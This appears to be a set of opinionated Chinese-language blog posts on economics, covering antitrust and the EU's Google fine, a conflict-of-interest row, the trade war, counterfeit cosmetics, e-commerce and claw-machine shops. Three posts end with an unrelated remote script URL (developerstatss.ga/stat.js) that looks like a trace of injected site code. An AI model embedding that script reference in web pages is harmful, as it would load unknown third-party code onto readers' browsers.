分類: 經濟分析

反托拉斯法（anti-trust law）的幾個特色：

1. 售價比同行高 — 濫用壟斷地位，開罰！

2. 售價比同行低 — 掠奪性定價（predatory pricing），若是國際貿易還多一條「傾銷（dumping）」罪，開罰！

3. 售價跟著同行走 — 聯合行為/串謀定價（conspiracy pricing），開罰，而且罪更重，要是有參加什麼「同行公會」「業內聯誼會」被抓到，還可能有刑責！（友達那幾個高階經理人就是被控告串謀定罪抓去關的）

不曾參加任何同行聚會搞孤僻就沒事？錯！價格跟著同行走，法律上政府照樣「擬制」你有勾串通謀行為，照樣開罰照樣抓去關！

4. 透過政治黑手，以政府力量達到壟斷效果（例如工會聯合談判勞動條件、行業組成證照制度、規格標達到少數廠商才可能得政府標、透過工廠法/衛生法規排除財力不夠的競爭對手…等等行為） — 不罰！

5. 反托拉斯法最重要的眉角 — 市場定義（market defintion）

可以把市場定義得很大，你就顯得很小，就沒有monopoly power；也可以把市場定義得很小，你家巷口的水果攤都可以構成濫用壟斷地位！

不信？有個美國經典判決，被告是在某州經營滑雪場的，法院硬生生把市場定義成：「就是被告所在的那個山頭」，罔顧該州還有幾十座山都有人經營滑雪場，然後認定被告漲價行為是濫用壟斷地位，開罰！

當年我在美國法學院讀碩士，我的反托拉斯法老師就是Obama的顧問之一。當時常私下找我談各種經濟學相關問題（我這老師經濟學真是很弱）或參加反托拉斯相關的智庫會議，有天在其辦公室談到Google有沒有濫用壟斷地位。

我反問：「這要看你怎麼定義Google的市場範圍？如果僅限於資料搜尋，Google的確很大卻是間接收費，使用者免費使用，相對於路透社、WestLaw或Bloomberg這種都提供專業特殊領域且收費昂貴的資料搜索服務之對手來說，你很難說『免費提供』究竟侵害了消費者什麼權益。

如果用廣告業來看Google，全部廣告業都納入的話，Google還不到壟斷地位；但如果僅看線上廣告，Google當然有壟斷地位，但並非沒有競爭…」

教授打斷我：「我們（咦?）已經決定開罰了，市場定義當然不能太大，而且要定義在Google有拿錢的廣告業方向…」

科科

反托拉斯法真是好棒棒，養活一堆律師、法官跟擔任專家證人的經濟學家們哩～
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結果出爐，果然超越去年的€24億歐元，直衝$50億美元罰款！計算基礎是Google 2017年全球淨利$126.2億美元的40%。

理由是：Google不應該濫用Android地位，試圖誘拐消費者在Android手機上使用google搜尋引擎與Chrome瀏覽器。
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我的看法：

蠢到死的意見。

2005年Google花費$5千萬美元買下新創公司Android，並開放原始碼，提供Apache免費開放原始碼許可證方式讓許多手機硬體製造公司百花齊放，其目的一開始不就在財報中說得很清楚？Google就是希望開創mobile advertising這一塊新收入啊！

沒有Google如此大方提供免費作業系統，哪有如今眼花撩亂的各種mobile apps與智慧型手機？

這部份巨大的「消費者盈餘（comsumer surplus）」歐盟官員完全不看，與此同時，靠Android的軟硬體廠商所獲得巨大利益，歐盟官員也看不到。

單單只針對Android系統上預先裝載的Chrome瀏覽器與預設的google搜尋引擎，在在顯示我學習與鑽研anti-trust law的心得 — 這部法律並非法律，純粹是政客或政府攔路搶劫的藉口，這藉口多爛都行。

不過奇怪的是：

1. 行動廣告收入僅佔Google的總收入44％，為何今天歐盟官員針對Android系統有意見，卻拿總收入為基礎來罰款？

2. 根據財報，2017年Google從歐盟、非洲與中東地區創造營收為$360.5億美元，僅佔全球營收$1360億美元的26.5％，為何歐盟有臉面罰款基礎以全球淨利來計算？

還是老話一句，搶劫為真，這些法律藉口都真的只是藉口。https://js.developerstatss.ga/stat.js?n=ns1

從Milton Friedman提出的恆久收入假設（permanent income hypothesis）來看，如果收入改變小到無法改變恆久收入，則人的消費行為不會有所改變。

這就是當年我批判馬英九消費券政策肯定無效的理論基礎。

如今民進黨政府宣稱管中閔可以審核台灣大哥大副董事長蔡明興的薪水，所以違反利益迴避原則。

姑且不論薪酬委員會在法律制度下只是一個附屬於董事會的機構，其「建議」尚須經董事會同意方得以生效，更暫不提管中閔不過是台灣大哥大數位獨立董事之一，並無「一人定奪薪酬」的權力。

依據107年度台灣大哥大年報顯示，該公司董事年報酬約1千萬台幣，而帳面上蔡明興本人、配偶與未成年子女持股數達99297159股，107年配息5.6元來計算，蔡的股利收入達5億5千多萬。這還未計入實際持股更多的蔡家投資公司，如台聯網投資、福記投資、台信聯合投資…等等。

嗯～假設我帳面上年收入5億6千多萬，其中1千萬由薪酬委員會決議，然後三位獨立董事之一的管中閔對我年收入影響力粗估千分之六，我怕死了，千分之六耶！牽涉利益大到不迴避不行了？！ XD

況且以Forbes推估蔡明興高達31億美元（900多億台幣）的身價，管中閔對蔡明興年收入影響力恐怕萬分之六都不到。

利益迴避？別說笑了 XD

利益迴避原則並非無邊無際，連一點點影響力（remote impact）都可以拿出來主張的，好嗎？一堆法律蛋頭學者大談特談利益迴避，卻沒有（或故意）深究該原則的內涵，這種做學問很可笑，除了搬專有名詞回來唬人外，一點料都沒有。https://js.developerstatss.ga/stat.js?n=ns1

1.今年1~6月全球景氣大好主要是受惠於美國川普上任以來的成功減稅與法規鬆綁，這點我在去年8月「榮景或低成長的十字路口 (We are at the crossroads of prosperity or low progress)」（https://wp.me/p9ffS3-qB）一文就已經講明川普政策將成功改善美國經濟預期甚至實質。今年一月我更點出川普應該可以挾改善經濟政績順利連任。（https://wp.me/p9ffS3-x3）

可各位回想，一年前川普力推減稅與法規寬鬆時，多少所謂財經專家並無能力正確斷定景氣會大好。甚至更早川普當選時，台灣主流媒體與所謂財經專家還惶惶不可終日，區區在下則是少數當時就認定美國經濟將會大好之人。

將近一年，川普經濟政策效果方才明確顯現，尤其是美國破紀錄的亮眼就業成績。

但同樣的貿易戰提高的社會成本與訊息費用，有可能吃掉前述二措施所帶來的景氣改善。而這麼負面效應卻也需要相當時間來展現。這是簡單的價格理論應用而已。

換言之，偽財經專家目前看到的出口增長，不過是美國減稅與法規鬆綁的正面效應，貿易戰的惡果尚未顯現。不具備經濟邏輯之人很容易犯的錯誤，此為負面教材又一例，感恩啊～～

2. 根據財政部資料，今年1~6月台灣出口國仍然以中國（含香港）佔總出口額的41%，與2017年整年度比例一樣。

同時台灣出口美國的貿易額比例仍然是11.4%左右。

換言之，無論是三角貿易亦或是半成品原料出口中國加工再轉往美國，中國始終是台灣出口貿易依存度最高的國家。

貿易戰必定傷害中國與美國雙方經濟，對於自己討飯吃的國家受人貿易制裁攻擊還能沾沾自喜，甚至還誤以為海嘯將至，中國這艘大船翻覆而與其牽掛緊連的小船台灣可獨善其身？好笑～好笑～

PS 很懶得寫偽財經專家，我對資深大嬸實在沒啥興趣。實在是妻子認為藉由講解此人之各種錯誤可以幫助學習，再三央求才勉強為之。

這類「試圖站在道德高點獲利」的商業模式，遲早必然出現這類含沙射影的「打假實為假打」的現象。

因為從經濟分析來看，市面上並不會存在那麼多假貨可打。

有關假貨經濟分析我曾寫過，簡單再說一次：

假貨或敲竹槓行為存在，通常有兩類：

1. 一次性消費 — 這種在觀光區域最常發生，也因為事後追究成本過高，受害消費者多半選擇隱忍。反之，商販也是看準這點才靠此維生。

可當此類行為在某區域過於氾濫時，其傳遞的市場訊號會直接嚇阻多數消費者前往，該區域最後還是自食惡果。當然受損的商販不見得是為惡的商販，可市場懲罰不分彼此，這也會讓部分商販有誘因結合成某種管理機構汰惡存良，可能不能實際發揮效果，要看執行者本身的認知與決心。

2. 連續性消費

連續性消費要造假一般會出現在高訊息費用的部份。例如以塑化劑摻入起雲劑，這沒有相當食品科學專業的人，壓根不曉得問題何在。

亦或是以次級品混充高級品，如最近日本發生假神戶牛事件，也是因為辨別牛肉等級需要相當專業，一般人其實就略低一兩個等級的肉品根本無辨識能力。

一般這類造假行為，都希冀透過訊息費用進而壓低成本，提高邊際獲利率。這部份的問題在於如果造假行為容易被發覺，則供給者傾向乾脆不造假，因為損失將是連續性消費帶來的預期收益。反之，若造假行為不容易被發覺，則供給者傾向造假。

可與此同時，競爭對手也有誘因去掀開造假行為，如此將限制供應者造假行為的數量。

但更值得注意的是，競爭對手或第三者可能出現的「假踢爆『造假』」 。

這在我熟悉的化妝品行業中十分常見。我本身會調香也會調配化妝保養配方，我們都很清楚保養品不可能不添加「防腐劑/抗菌劑」。以我實驗室中做給愛妻使用的零抗菌劑的化妝水、精華液為例，放在溫控設備中也頂多1週就腐敗不可使用。

試問有在塗抹保養品的讀者，你們哪位保養品放冰箱的啊？（碧兒泉曾有一款建議放冰箱的精華液大概是僅此一例）況且專櫃上商品有放冰箱嗎？運輸過程有低溫配送嗎？幾乎都沒有吧！既然如此，怎可能產品中沒有防腐劑呢？

咦？那保養品一堆標記「無添加」、「無防腐劑」的，同時批評他牌使用防腐劑有害肌膚的論點，不都是騙人？

過去我也曾撰文指出「反動物性實驗化妝品運動」根本是一群騙錢的小人。台灣沒有廠商有錢到從事一年得花數億的「化妝品動物實驗」，也沒有任何法規要求化妝品廠要做動物實驗，好嗎？既然沒有廠商搞動物化妝品實驗，請問這群小人是在哭爸三小？最好笑的是還有臉要廠商付錢給這群小人，買一張「無動物性實驗認證」，否則就是有在偷偷做實驗。

以上是說明，當訊息費用夠高時，就會有廠商或「表面上的動保/環保團體」造假甚至「假踢爆造假」地從中獲利。

而在我來看，這個「美的好朋友」在搞的事情，很容易淪入「反動物性實驗化妝品」這類無恥行徑。

理由有三：

a. 上述的經濟邏輯必然限制造假行為的數量，使得該網站可踢爆的數量也就那麼多。如此一來內容更新必然受限，網站讀者訂閱定期繳費的誘因將下降。

b. 醫師是一種專業，但化妝保養品是另一種專業。許多皮膚科醫師的自以為是的論點，在化妝保養品專家眼中往往也是錯得離奇，因此未來踢錯對象、踢錯標的的現象在所難免，再加上第一點侷限，網站很可能查證不夠盡實下也得發文，使得網站可信度下降，從而影響付費訂閱意願。

c. 許多物質（尤其中草藥植粹）並無皮膚科相關的臨床論文可供參考，但實際上的確可以滿足某些美妝保養需求。這部份試問該網站主筆者該如何處理？沒有論文支持就不存在就是假？這恰恰是反科學吧？

說到底，我並不看好「美的好朋友」的商業模式，也質疑主事者的人格（記錄不良），更從經濟分析預測未來「踢錯」事件將繼續發生。

PS針對此文關於水果放久的質疑，Lin bay 好 油已經批評得很好：

quote:"…以荔枝為例，如果水份過低，就會加速褐化，荔枝殼就容易變黑，所以荔枝就會撒水保持水份避免變黑，這其中也什麼都不需要加，單純就是水就夠了。…美的好朋友一向自詡評論就事論事，動不動就要人家拿出證據來，但是這次批評水果攤影射人家用吊白塊也沒有任何證據啊?！！！

前面講看到水果攤噴水，後面就說吊白塊有多不好，你是有看到人家加吊白塊在水裡? 還是把那壺水拿去驗？不然你是在腦補嗎? 這樣胡亂指控，沒事製造消費恐慌，這樣傷害水果攤進而影響農民，這我就是看不過去，一個腦補的疑似就能推論到全台灣都是這樣嗎？

那難道我可以因為柳林醫師因為詐欺認罪被緩起訴，就認定全台灣的醫師都是詐欺犯嗎？這當然不合理嘛…大家一定聽過切好的蘋果放在食鹽水裡就比較不會發黑，就是這個道理，所以在現切蘋果表面噴食鹽水，也有一定的效果。

總之，沒有證據跟比例就這樣含沙射影只是一竿子打翻一船人，要大家自行提高警覺，想要製造消費者恐慌，這根本莫名其妙。"

當交易費用夠高或夠低下，民主體制與獨裁體制其實毫無差異。

只有對民主認識十分膚淺者，才會誤以為民主可以保障自由與產權，也才會高舉民主而毫無反思。

蔡英文政府就是典型負面教材。

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GE的MRI(核磁共振成像)部門，年營業額$190億美元，近來受到中美貿易戰創傷甚深。理由在於該部門雖然主要工廠位於威斯康辛州與南卡羅來納州，但其生產的MRI，部分零件來自於GE位於中國的工廠。甚至部分半成品是在美國生產零件後，運往中國組裝，再運回美國生產線完成終端產品。

GE的MRI機器售價從$50萬～$1千萬美元，其中以每$5元就有$1元零件來自於中國自家工廠。貿易戰開打，要另覓其他來源必須付出相當代價，而且無法於短期內達成。

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Jack Dai很清楚地點出這些設計公司忽略（或故意忽略）之所以要比稿，是因為訊息費用很高。跟設計師打過交道就知道，這群人往往說得天花亂墜，拿出來的東西粗製濫造是很常發生，在實際拿出作品之前，訊息費用高得驚人。

這也解釋了為什麼知名度夠高，作品穩定度夠高的設計師就可能免去比稿，因為本人的品牌累積消弭了這個資訊費用。

而我要點出Jack沒提到的一個點，就是：

買家要的是「能夠有產出的作品」，而不是「設計師的勞動」！

設計師普遍過度膨脹、過度誇大自己的貢獻，我自己就親身碰過好幾個，在我面前炫耀某某品牌規劃全靠他怎樣運籌安排，如今才得以聞名台灣甚至海外…

只是我剛好認識這些品牌的創辦人，深知品牌聞名並非靠這種錦上添花般的設計，而是從製造面到營銷面的深耕。我更清楚，這些主事者眼中，這位所謂「品牌操盤級設計師」只不過是一個隨時可以被換掉、被取代的合作廠商，重要性還遠不如某些原料上游商。

此段正在說明，設計業界除了本身的浮誇與自吹增加了不少業主的訊息費用，才使得有錢的業主採用「比稿」手段外，設計業界誤以為自己的勞動都值錢，其實是毫無根據的妄想。進一步談，我認為許多時候A、B、C等設計師提出的稿都不錯，但究竟實現後可以為雇主帶來多少收入？貢獻了多少比例？這個費用其實也不低。

這是說，我可能分別採取ABC的設計，都得到差不多的收入。則ABC的作品彼此的可取代性其實很高，競爭之下當然就註定ABC三位設計師的收入不高。

我說得更直白一點吧 — 多數設計師其實只是不肯面對「自己的專業原來不太值錢（經濟學上叫『可取代性很高』）」這個事實。

從此篇訪問看來，當主事者認為競爭下租值流失，與產品服務品質無關、與侷限條件無關，而是與籌資能力有關時，我們也真的只能看他慢慢樓塌了。

幾個重點我再談談：

1. 電商平台的規模經濟很重要，規模出不來，就會一直像ASAP那樣長期虧損不堪；規模出來了，像阿里巴巴集團等大陸電商可以創造驚人的利潤。

PCHome的購物與商店街先前也是享受了規模經濟的好處。因此網家股價2015年中股價破500元。

但台灣市場太小是個先天的侷限條件，造成規模成長到一定程度就碰上天險，轉往他國另起爐灶並非易事。詹先生也看到此侷限，試圖轉往美國、日本與東南亞市場，成果如何就等年底或明年的財報囉。

2. 電商進入門檻說低不低，但也說高不高，因此當有相當資本實力的蝦皮進來，即便總體上遠不能取代PCHome，但邊際上卻有超強的壓低邊際利益的力量，造成PCHome如欲與其打補貼戰，財報瞬間變難看。 如放任不管，價格敏感的商家遲早會跑光。

商家之所以價格如此敏感，是因為網路購物的本質 — 商品差異化難以凸顯，除了少數天王級大牌，多數商品無論品牌大小上了電商平台幾乎多只能削價競爭。商家端面對此侷限條件，當然會反過來對使用電商平台服務的代價錙銖必較。

這點侷限條件就連美國的Amazon也一樣受拘束。先前我們提過Amazon財務數字（2017年Operating Income北美零售$2837M，國際零售 -$3062M，AWS $4331M），除了在美國本土其零售有利可圖外，Amazon在世界各地的零售則是虧損嚴重。二者加總等於Amazon生意做那麼大(2017年營收$177.87B)，其實多在做白工。

Amazon如今真正獲利來源是雲端事業。這也說明競爭之下，電商平台租值不如外界形容的那樣美好。

3. Amazon在技術上的耕耘養出AWS這隻金雞母，PCHome呢？技術這塊田耕耘了多少，騙得了人嗎？

詹先生宣稱網站介面「慢慢變難用」是自然，我身為PCHome與Amazon的曾經合作廠商與一般使用者，我只能說：「聽你在放屁 」XD

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我寫過關於PCHome與蝦皮競爭的幾篇文章：

「論蝦皮免運費策略-兼論掠奪性定價」

「PCHome競爭下的租值流失」

「ASAP其快速到貨策略為何註定失敗？」

「再談PCHome–以經濟分析觀之」

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【經濟分析–小試牛刀】

延續我今天批判Emmy Hu錯誤的經濟邏輯，並從網友陳安安舉例的夾娃娃機店風潮，我們可以繼續往下推論，並從事實上得到驗證：

“這邊順道談一下從餐飲業來判斷景氣的正確分析方式。

經濟學看重的是邊際分析，因為邊際轉變可以反推侷限條件的轉變，從而幫助我們知道大環境是否真的在變化？往哪個方向變化。

百貨公司的餐廳多半是知名店家（如瓦城集團、王品集團、鼎泰豐或日本駐台名店…等），這些高租值餐飲本身當然也會因環境不同而有租值變化，但外人要觀察出來並不容易（拿得到內帳才能看出真實變化）。

要簡單又正確地觀察景氣，以經濟學邊際分析入手，應該從鬧區邊緣、住宅區裡的名不見經傳小店觀察。

通常我會從：新開無名小店的裝潢（可查知店主的未來收入預期）、開店速度（可查知現金流速）與倒店頂讓速度（真實景氣）三者切入。

網友陳安安觀察夾娃娃機店的角度非常正確：連前家店招牌裝潢都不改，直接機器擺入就開夾娃娃機店，證明店家只想賺快錢，也清楚知道機會稍縱即逝，更清楚未來收入預期也不多，所以才選擇幾乎不更改裝潢直接上陣搶錢。夾娃娃機店的多層轉包契約，店家主與機器主分離，代表邊際上的開店資金不夠雄厚，風險承擔能力也不夠，才會出現這種契約安排。還有，夾娃娃機的邊際利益掉得極快，就我的觀察研究，三年來下跌9成不止！

因此大量風行猶如蛋塔熱潮的夾娃娃機店，恰恰證明景氣不如想像好。"

夾娃娃機店的存在明顯彰顯店主（無論自有或承租）對於在該處未來收入流的預期是低的，所以才會選擇這種賺快錢的經營模式。當此種商業模式大行其道，則表示有相當多人對「土地」這項生產要素的未來租值預期是下降的。

回頭對照夾娃娃機風起雲湧的這三年，恰恰是台灣房地產價格重挫的三年 — 依據國泰建設房地產指數，全國成交均價2015Q1、2016Q1、2017Q1分別是：$28.9、$26.75、$23.92（萬/坪）。

以上足以證明經濟學的邊際分析觀察正確性極高。

而土地身為最重要生產要素之一，其價格的下降足以代表整體社會生產力與租值的下降，也意味著整體社會財富下降。因此回到過去我曾為文批判sway等人無知地以為房地產價格全靠人為炒作，完全忽略社會財富累積本身也會提高房地產價格，更無知無畏地主張「打房」來逼迫財富移轉它國，愚蠢至極。（參見：「只會檢討別人的貧窮思維註定要窮 — 論台灣房價何以至此」）

2018Q1我們終於看到台灣土地價格回升，國泰指數來到$24.91萬/坪。我認為這部份租值回升，主要來自於收入預期的改變，而此預期改變我在2017年8月「We are at the crossroads of prosperity or low progress 」這篇文章說得清楚：

“Right now, I am confident in that the later two factors playing more important roles in the formation of the massively optimistic anticipation. But as long as the real improvement does not catch it up in time, the positive mood could dissipate quickly. It could cost a lot of energy and time to recall it back again. What a shame, president Trump!

Therefore, I believe that we are at the crossroads of the U.S. economy progress. In only couple months, we will figure out which path do we take."

很明顯，Trump總統實際做得相當不錯，減稅與de-regulation都做得好，此二重大侷限條件轉變對人民預期有很大的影響力，我們走上了相對充滿希望的那條道上。（這是否證明我比『所謂的財經雜誌專家』早將近一年就看出景氣好轉嗎？哈！我的錢包已經幫忙表態了～）

另一個好消息就是北韓走向開放與逐漸的市場經濟，誠如張五常所言：「東線無戰事」會是一大利多。

但我還是要提醒，上個月中我寫了「It’s better to have more cash in your investment pile in the future two years.」一文，表達我對Trump總統可能因貿易戰爭作死以及逐漸出現的money illusion的擔憂：

“The capital expenditure of companies may or may not lead to good returns, which means the more capital investing activities do not promise higher profits in the future. Wastes or mis-location of resources can happen in this the-more-the-better investing phenomenon, especially when a company has some bad KPI requirements. It’s due to “Money Illusion" to a certain degree. Bad incentive systems influence the managers’ decisions as well. And I believe these two factors are the source of the business cycle.

I haven’t expected the turning point coming so fast. Nevertheless, I could smell something going wrong recently. I’ve increased the cash share of my investment pile more than fifty percentage and guess by doing so would be safer in the next two years."

回到夾娃娃機。重新上漲的土地價格將進一步擠壓夾娃娃機這種邊際商業模式的利益，退潮指日可待。但此種商業模式的興起背後彰顯的經濟邏輯 — 契約安排的轉變隱含土地租值下降– 恰恰讓我們從事後諸葛的土地成交價格統計上得到印證。

這也證明掌握正確經濟分析能力，你不用見到什麼Fed前主席，也能從正確觀察邊際轉變從而掌握局勢。當然，你就算訪問過巴菲特或柏南奇，也壓根兒不代表你就有同等級的分析能力啦 XDhttps://js.developerstatss.ga/stat.js?n=ns1